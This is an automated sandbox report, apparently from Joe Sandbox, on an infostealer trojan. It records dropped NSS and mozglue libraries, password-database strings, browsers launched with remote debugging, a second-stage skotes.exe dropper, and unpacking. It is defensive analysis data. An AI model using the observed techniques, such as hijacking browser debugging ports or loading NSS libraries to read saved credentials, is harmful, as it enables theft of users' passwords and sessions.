Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B52D10	16_2_00B52D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B5779B	16_2_00B5779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B47F36	16_2_00B47F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B280C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B2DF80 appears 36 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB609D0 appears 227 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA03620 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB6DAE0 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB6D930 appears 41 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C96CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA09B10 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9794D0 appears 90 times
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: String function: 002F80C0 appears 130 times

Source: file.exe, 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2750894186.000000006CBB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: kejjpbef ZLIB complexity 0.9945458074534161

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/50@2/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C997030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C997030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\URMFDNKB.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2466457675.0000000005629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2331959532.0000000005635000.00000004.00000020.00020000.00000000.sdmp, BAKEBAFIIECBGCAAAAFC.0.dr, JEBGCBAFCGDAAKFIDGIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2750164270.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2040,i,4991592399884390181,5857060329787244527,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2128,i,7367324743723620747,13671765739896702745,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2044,i,3168558762679559794,18055959168976227557,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DGIJDAFCFH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DGIJDAFCFH.exe "C:\Users\user\Documents\DGIJDAFCFH.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DGIJDAFCFH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2040,i,4991592399884390181,5857060329787244527,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2128,i,7367324743723620747,13671765739896702745,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2044,i,3168558762679559794,18055959168976227557,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DGIJDAFCFH.exe "C:\Users\user\Documents\DGIJDAFCFH.exe"	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1756160 > 1048576

Source: file.exe

Static PE information: Raw size of kejjpbef is bigger than: 0x100000 < 0x192800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

